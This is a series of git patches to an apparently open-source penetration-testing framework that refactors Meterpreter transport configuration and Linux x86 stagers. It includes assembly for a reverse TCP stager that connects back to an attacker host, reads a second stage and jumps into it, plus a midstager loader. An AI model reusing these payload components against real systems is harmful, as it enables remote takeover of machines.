TLV_META_TYPE_STRING | 461 @@ -200,7 +201,7 @@ class Tlv when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT" when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP" when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH" - when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO" + when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST" when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER" when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS" when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL" diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 4b58759695..8e1ee194bc 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -379,10 +379,18 @@ class Console::CommandDispatcher::Core end def print_timeouts(timeouts) - print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}") - print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds") - print_line("Retry Total Time: #{timeouts[:retry_total]} seconds") - print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds") + if timeouts[:session_exp] + print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}") + end + if timeouts[:comm_timeout] + print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds") + end + if timeouts[:retry_total] + print_line("Retry Total Time: #{timeouts[:retry_total]} seconds") + end + if timeouts[:retry_wait] + print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds") + end end # @@ -500,14 +508,16 @@ class Console::CommandDispatcher::Core '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], '-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ], '-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ], + '-v' => [ false, 'Show the verbose format of the transport list' ], '-h' => [ false, 'Help menu' ]) # # Display help for transport management. # def cmd_transport_help - print_line('Usage: transport [options]') + print_line('Usage: transport [options]') print_line + print_line(' list: list the currently active transports.') print_line(' add: add a new transport to the transport list.') print_line(' change: same as add, but changes directly to the added entry.') print_line(' next: jump to the next transport in the list (no options).') @@ -525,7 +535,7 @@ class Console::CommandDispatcher::Core end command = args.shift - unless ['add', 'change', 'prev', 'next'].include?(command) + unless ['list', 'add', 'change', 'prev', 'next'].include?(command) cmd_transport_help return end @@ -544,7 +554,8 @@ class Console::CommandDispatcher::Core :session_exp => nil, :retry_total => nil, :retry_wait => nil, - :cert => nil + :cert => nil, + :verbose => false } @@transport_opts.parse(args) do |opt, idx, val| @@ -575,6 +586,8 @@ class Console::CommandDispatcher::Core opts[:lport] = val.to_i if val when '-l' opts[:lhost] = val + when '-v' + opts[:verbose] = true when '-t' unless client.core.valid_transport?(val) cmd_transport_help @@ -585,6 +598,51 @@ class Console::CommandDispatcher::Core end case command + when 'list' + result = client.core.transport_list + # this will output the session timeout first + print_timeouts(result) + + columns =[ + 'Curr', + 'URL', + 'Comms T/O', + 'Retry Total', + 'Retry Wait' + ] + + if opts[:verbose] + columns << 'User Agent' + columns << 'Proxy Host' + columns << 'Proxy User' + columns << 'Proxy Pass' + columns << 'Cert Hash' + end + + # next draw up a table of transport entries + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Columns' => columns) + + first = true + result[:transports].each do |t| + entry = [ first ? '*' : '', t[:url], t[:comm_timeout], + t[:retry_total], t[:retry_wait] ] + + first = false + + if opts[:verbose] + entry << t[:ua] + entry << t[:proxy_host] + entry << t[:proxy_user] + entry << t[:proxy_pass] + entry << (t[:cert_hash] || '').unpack("H*")[0] + end + + tbl << entry + end + + print("\n" + tbl.to_s + "\n") when 'next' print_status("Changing to next transport ...") if client.core.transport_next From 9300158c9ad72c752e34a57b88b66f2a7e09ab1c Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 May 2015 18:58:55 +1000 Subject: [PATCH 18/42] Initial rework of POSIX stuff to handle new configuration --- lib/msf/core/payload/linux/bind_tcp.rb | 14 +- lib/rex/payloads/meterpreter/config.rb | 33 +++-- .../payloads/stages/linux/x86/meterpreter.rb | 127 ++++++++++++++---- 3 files changed, 137 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 8829dfc968..0a13ef2d40 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -44,12 +44,23 @@ module Payload::Linux::BindTcp Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string end + def generate_transport_config(opts={}) + { + :scheme => 'tcp', + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Determine the maximum amount of space required for the features requested # def required_space # Start with our cached default generated size - space = cached_size + # TODO: figure out what this should be + space = 300 # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 @@ -107,6 +118,7 @@ module Payload::Linux::BindTcp int 0x80 xchg eax,edi ; restore the socket handle add esp, 0x14 + pop ecx pop ebx pop esi diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 740b5db6c7..dd35502e31 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config def initialize(opts={}) @opts = opts + if opts[:ascii_str] && opts[:ascii_str] == true + @to_str = self.method(:to_ascii) + else + @to_str = self.method(:to_wchar_t) + end end def to_b @@ -30,13 +35,25 @@ private @opts[:arch] == ARCH_X86 end + def to_str(item, size) + @to_str.call(item, size) + end + def to_wchar_t(item, size) - item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") + to_ascii(item, size).unpack("C*").pack("v*") + end + + def to_ascii(item, size) + item.to_s.ljust(size, "\x00") end def session_block(opts) - uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE) - exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] + uuid = to_str(opts[:uuid].to_raw, UUID_SIZE) + if opts[:exitfunk] + exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] + else + exit_func = 0 + end session_data = [ 0, # comms socket, patched in by the stager @@ -63,17 +80,17 @@ private # of other stuff pack = 'A*VVV' transport_data = [ - to_wchar_t(url, URL_SIZE), # transport URL + to_str(url, URL_SIZE), # transport URL opts[:comm_timeout], # communications timeout opts[:retry_total], # retry total time opts[:retry_wait] # retry wait time ] if url.start_with?('http') - proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE) - proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_wchar_t(opts[:ua] || '', UA_SIZE) + proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE) + proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) + proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) + ua = to_str(opts[:ua] || '', UA_SIZE) cert_hash = "\x00" * CERT_HASH_SIZE cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index cd85b395cb..bd1c5de422 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -17,8 +17,8 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Meterpreter', - 'Description' => 'Staged meterpreter server', - 'Author' => ['PKS', 'egypt'], + 'Description' => 'Inject the meterpreter server payload (staged)', + 'Author' => ['PKS', 'egypt', 'OJ Reeves'], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, @@ -35,6 +35,7 @@ module Metasploit3 return ep end +=begin def elf2bin(payload) # XXX, not working. Use .c version @@ -64,31 +65,76 @@ module Metasploit3 print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") return mem[0, used] end +=end def handle_intermediate_stage(conn, payload) - # Does a mmap() / read() loop of a user specified length, then - # jumps to the entry point (the \x5a's) + entry_offset = elf_ep(payload) + config_offset = payload.length - generate_meterpreter.length - midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - - midstager << - "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + - "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + - "\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" + - "\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" + - "\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" + - "\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" + - "\xd1\xff\xff\xff" - - - # Patch in debug options - midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C')) - - # Patch entry point - midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V')) + encoded_entry = "0x%.8x" % entry_offset + encoded_offset = "0x%.8x" % config_offset + encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i # Maybe in the future patch in base. + # Does a mmap() / read() loop of a user specified length, then + # jumps to the entry point (the \x5a's) + midstager_asm = %Q^ + midstager: + and esp, 0xFFFFF254 + push 0x4 + pop edx + mov ecx, esp + mov ebx, edi + push 0x3 + pop eax + int 0x80 + push edi + mov eax, 0xC0 + mov ebx, 0x20040000 + mov ecx, dword ptr [esp+0x4] + push 0x7 + pop edx + push 0x32 + pop esi + xor edi, edi + mov ebp, edi + dec edi + int 0x80 + cmp eax, 0xFFFFFF7F + jb start_read + terminate: + xor eax, eax + inc eax + int 0x80 ; sys_exit + start_read: + xchg ecx, edx + xchg ecx, ebx + pop ebx + read_loop: + push 0x3 + pop eax + int 0x80 ; sys_read + cmp eax, 0xFFFFFF7F + ja terminate ; exit on error + test eax, eax + je terminate ; exit on error + add ecx, eax + sub edx, eax + jne read_loop ; read more + ; edx should be at the end, but we need to adjust for the size of the config + ; block so we know where to write the socket to memory + sub ecx, #{encoded_offset} + mov [ecx], ebx ; write the socket to the config + push #{encoded_debug_options} + push ecx ; pass in the configuration pointer + mov eax, #{encoded_entry} ; put the entry point in eax + call eax + jmp terminate + ^ + + midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string + print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") conn.put(midstager) Rex::ThreadSafe.sleep(1.5) @@ -100,19 +146,44 @@ module Metasploit3 end def generate_stage - #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") + meterpreter = generate_meterpreter + config = generate_config + meterpreter + config + end + + def generate_meterpreter file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") blob = File.open(file, "rb") {|f| f.read(f.stat.size) } - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i) + blob + end - return blob + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'linux', + :arch => ARCH_X86 + }) + end + + # create the configuration block, which for staged connections is really simple. + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => nil, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [ generate_transport_config(opts) ], + :extensions => [], + :ascii_str => true + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end From 93bf995b322eeaca408333064f8bc5bf5edf7d77 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 May 2015 20:11:26 +1000 Subject: [PATCH 19/42] Reverse tcp support for POSIX Ported the stager and wired in the new work to make the configuration function. --- lib/msf/core/payload/linux/reverse_tcp.rb | 139 ++++++++++++++++++ lib/msf/core/payload/windows/reverse_tcp.rb | 7 - .../payloads/stagers/linux/x86/reverse_tcp.rb | 80 ++-------- 3 files changed, 150 insertions(+), 76 deletions(-) create mode 100644 lib/msf/core/payload/linux/reverse_tcp.rb diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb new file mode 100644 index 0000000000..736c7de6a6 --- /dev/null +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + + +### +# +# Complex reverse TCP payload generation for Linux ARCH_X86 +# +### + + +module Payload::Linux::ReverseTcp + + include Msf::Payload::Linux + + # + # Generate the first stage + # + def generate + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_tcp( + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + ) + end + + conf = { + host: datastore['LHOST'], + port: datastore['LPORT'], + retry_count: datastore['ReverseConnectRetries'], + exitfunk: datastore['EXITFUNC'], + reliable: true + } + + generate_reverse_tcp(conf) + end + + def generate_transport_config(opts={}) + { + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + asm = asm_reverse_tcp(opts) + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Reliability adds 10 bytes for recv error checks + space += 10 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + + # TODO: reliability is coming + #retry_count = [opts[:retry_count].to_i, 1].max + #reliable = opts[:reliable] + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + + asm = %Q^ + xor ebx, ebx + mul ebx + push ebx + inc ebx + push ebx + push 0x2 + mov al, 0x66 + mov ecx, esp + int 0x80 ; sys_socketcall + xchg eax, edi + pop ebx + push #{encoded_host} + push #{encoded_port} + mov ecx, esp + push 0x66 + pop eax + push eax + push ecx + push edi + mov ecx, esp + inc ebx + int 0x80 ; sys_socketcall + mov dl, 0x7 + mov ecx, 0x1000 + mov ebx, esp + shr ebx, 0xc + shl ebx, 0xc + mov al, 0x7d + int 0x80 ; sys_mprotect + pop ebx + mov ecx, esp + cdq + mov dh, 0xc + mov al, 0x3 + int 0x80 ; sys_read + jmp ecx + ^ + + asm + end + +end + +end + + + + diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 5df4ef1eb4..117cb06963 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -18,13 +18,6 @@ module Payload::Windows::ReverseTcp include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk - # - # Register reverse_tcp specific options - # - def initialize(*args) - super - end - # # Generate the first stage # diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index da56708c7e..9946a6409e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -6,83 +6,25 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/linux/reverse_tcp' - -### -# -# ReverseTcp -# ---------- -# -# Linux reverse TCP stager. -# -### -module Metasploit3 +module Metasploit4 CachedSize = 71 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::ReverseTcp def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager', - 'Description' => 'Connect back to the attacker', - 'Author' => [ - 'skape', # original - 'egypt', # NX support - ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => - { - 'Offsets' => - { - 'LHOST' => [ 0x12, 'ADDR' ], - 'LPORT' => [ 0x19, 'n' ], - }, - 'Payload' => - - "\x31\xdb" +# xor ebx,ebx - "\xf7\xe3" +# mul ebx - "\x53" +# push ebx - "\x43" +# inc ebx - "\x53" +# push ebx - "\x6a\x02" +# push byte +0x2 - "\xb0\x66" +# mov al,0x66 - "\x89\xe1" +# mov ecx,esp - "\xcd\x80" +# int 0x80 - "\x97" +# xchg eax,edi - "\x5b" +# pop ebx - "\x68\x7f\x00\x00\x01" +# push dword 0x100007f - "\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002 - "\x89\xe1" +# mov ecx,esp - "\x6a\x66" +# push byte +0x66 - "\x58" +# pop eax - "\x50" +# push eax - "\x51" +# push ecx - "\x57" +# push edi - "\x89\xe1" +# mov ecx,esp - "\x43" +# inc ebx - "\xcd\x80" +# int 0x80 - "\xb2\x07" +# mov dl,0x7 - "\xb9\x00\x10\x00\x00" +# mov ecx,0x1000 - "\x89\xe3" +# mov ebx,esp - "\xc1\xeb\x0c" +# shr ebx,0xc - "\xc1\xe3\x0c" +# shl ebx,0xc - "\xb0\x7d" +# mov al,0x7d - "\xcd\x80" +# int 0x80 - "\x5b" +# pop ebx - "\x89\xe1" +# mov ecx,esp - "\x99" +# cdq - "\xb6\x0c" +# mov dh,0xc - "\xb0\x03" +# mov al,0x3 - "\xcd\x80" +# int 0x80 - "\xff\xe1" # jmp ecx - - } - )) + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => [ 'skape', 'egypt', ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => { 'Payload' => '' })) end end From e835f2b99cecf935215127df467acceed6390207 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 May 2015 21:51:20 +1000 Subject: [PATCH 20/42] Rejig transport config into module Adjust a few other things along the way, including tidying of code, removing of dead stuff. --- lib/msf/core/payload/linux/bind_tcp.rb | 12 +- lib/msf/core/payload/linux/reverse_tcp.rb | 13 +- lib/msf/core/payload/windows/bind_tcp.rb | 25 +--- .../payload/windows/meterpreter_loader.rb | 6 +- lib/msf/core/payload/windows/reverse_tcp.rb | 13 +- .../core/payload/windows/reverse_winhttp.rb | 29 +---- .../core/payload/windows/reverse_winhttps.rb | 12 +- .../payload/windows/stageless_meterpreter.rb | 121 ------------------ lib/msf/core/payload/windows/x64/bind_tcp.rb | 12 +- .../payload/windows/x64/meterpreter_loader.rb | 4 +- .../core/payload/windows/x64/reverse_tcp.rb | 13 +- .../windows/x64/stageless_meterpreter.rb | 121 ------------------ lib/msf/core/transport_config.rb | 66 ++++++++++ lib/rex/payloads/meterpreter/config.rb | 1 + .../singles/windows/meterpreter_bind_tcp.rb | 37 +++++- .../windows/meterpreter_reverse_http.rb | 39 ++++-- .../windows/meterpreter_reverse_https.rb | 40 ++++-- .../windows/meterpreter_reverse_ipv6_tcp.rb | 36 +++++- .../windows/meterpreter_reverse_tcp.rb | 34 ++++- .../windows/x64/meterpreter_bind_tcp.rb | 37 +++++- .../windows/x64/meterpreter_reverse_http.rb | 38 ++++-- .../windows/x64/meterpreter_reverse_https.rb | 39 ++++-- .../x64/meterpreter_reverse_ipv6_tcp.rb | 36 +++++- .../windows/x64/meterpreter_reverse_tcp.rb | 36 +++++- .../payloads/stages/linux/x86/meterpreter.rb | 2 +- .../payloads/stages/windows/meterpreter.rb | 2 +- .../stages/windows/x64/meterpreter.rb | 2 +- 27 files changed, 419 insertions(+), 407 deletions(-) delete mode 100644 lib/msf/core/payload/windows/stageless_meterpreter.rb delete mode 100644 lib/msf/core/payload/windows/x64/stageless_meterpreter.rb create mode 100644 lib/msf/core/transport_config.rb diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 0a13ef2d40..40af0a0c75 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' module Msf @@ -14,6 +15,7 @@ module Msf module Payload::Linux::BindTcp + include Msf::TransportConfig include Msf::Payload::Linux # @@ -44,14 +46,8 @@ module Payload::Linux::BindTcp Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_bind_tcp(opts) end # diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 736c7de6a6..5ecbaf4130 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' module Msf @@ -14,6 +15,7 @@ module Msf module Payload::Linux::ReverseTcp + include Msf::TransportConfig include Msf::Payload::Linux # @@ -40,15 +42,8 @@ module Payload::Linux::ReverseTcp generate_reverse_tcp(conf) end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_reverse_tcp(opts) end # diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index f24fb09918..336c1e8d47 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -16,14 +17,11 @@ module Msf module Payload::Windows::BindTcp + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk - def close_listen_socket - datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true - end - # # Generate the first stage # @@ -45,14 +43,8 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_bind_tcp(opts) end # @@ -86,11 +78,6 @@ module Payload::Windows::BindTcp # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 - # if the payload doesn't need the listen socket closed then we save space. This is - # the case for meterpreter payloads, as metsrv now closes the listen socket once it - # kicks off (needed for more reliable shells). - space -= 8 unless close_listen_socket - # The final estimated size space end @@ -175,13 +162,11 @@ module Payload::Windows::BindTcp push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) call ebp ; accept( s, 0, 0 ); - push edi ; push the listening socket, either to close, or to pass on + push edi ; push the listening socket xchg edi, eax ; replace the listening socket with the new connected socket for further comms push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) call ebp ; closesocket( s ); - ^ - asm << %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index bbc2d5cc53..614d0b6c8f 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -5,14 +5,12 @@ require 'msf/core/reflective_dll_loader' module Msf - ### # # Common module stub for ARCH_X86 payloads that make use of Meterpreter. # ### - module Payload::Windows::MeterpreterLoader include Msf::ReflectiveDLLLoader @@ -34,7 +32,7 @@ module Payload::Windows::MeterpreterLoader )) end - def asm_invoke_dll(opts={}) + def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' @@ -69,7 +67,7 @@ module Payload::Windows::MeterpreterLoader :length => dll.length } - asm = asm_invoke_dll(asm_opts) + asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 117cb06963..3dfd8de528 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -14,6 +15,7 @@ module Msf module Payload::Windows::ReverseTcp + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -42,15 +44,8 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_reverse_tcp(opts) end # diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 79f70e5c79..8c0a3b37cd 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/windows/reverse_http' @@ -19,13 +20,6 @@ module Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::ReverseHttp - # - # Register reverse_winhttp specific options - # - def initialize(*args) - super - end - # # Generate the first stage # @@ -52,25 +46,8 @@ module Payload::Windows::ReverseWinHttp generate_reverse_winhttp(conf) end - def generate_transport_config(opts={}) - # most cases we'll haev a URI already, but in case we don't - # we should ask for a connect to happen given that this is - # going up as part of the stage. - uri = opts[:uri] - unless uri - sum = uri_checksum_lookup(:connect) - uri = generate_uri_uuid(sum, opts[:uuid]) - end - - { - :scheme => 'http', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :uri => uri, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_reverse_http(opts) end # # Generate and compile the stager diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index c1e75bc25e..a91f2e4d30 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/reverse_winhttp' require 'msf/core/payload/windows/verify_ssl' require 'rex/payloads/meterpreter/uri_checksum' @@ -17,6 +18,7 @@ module Msf module Payload::Windows::ReverseWinHttps + include Msf::TransportConfig include Msf::Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::VerifySsl @@ -83,14 +85,8 @@ module Payload::Windows::ReverseWinHttps generate_reverse_winhttps(conf) end - def generate_transport_config(opts={}) - config = super - - config[:scheme] = 'https' - config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], - datastore['HandlerSSLCert']) - - config + def transport_config(opts={}) + transport_config_reverse_https(opts) end # diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb deleted file mode 100644 index 47df1bcae6..0000000000 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ /dev/null @@ -1,121 +0,0 @@ -#-*- coding: binary -*- - -require 'msf/core' -require 'rex/payloads/meterpreter/patch' - -module Msf - -## -# -# Implements stageless invocation of metsrv in x86 -# -## 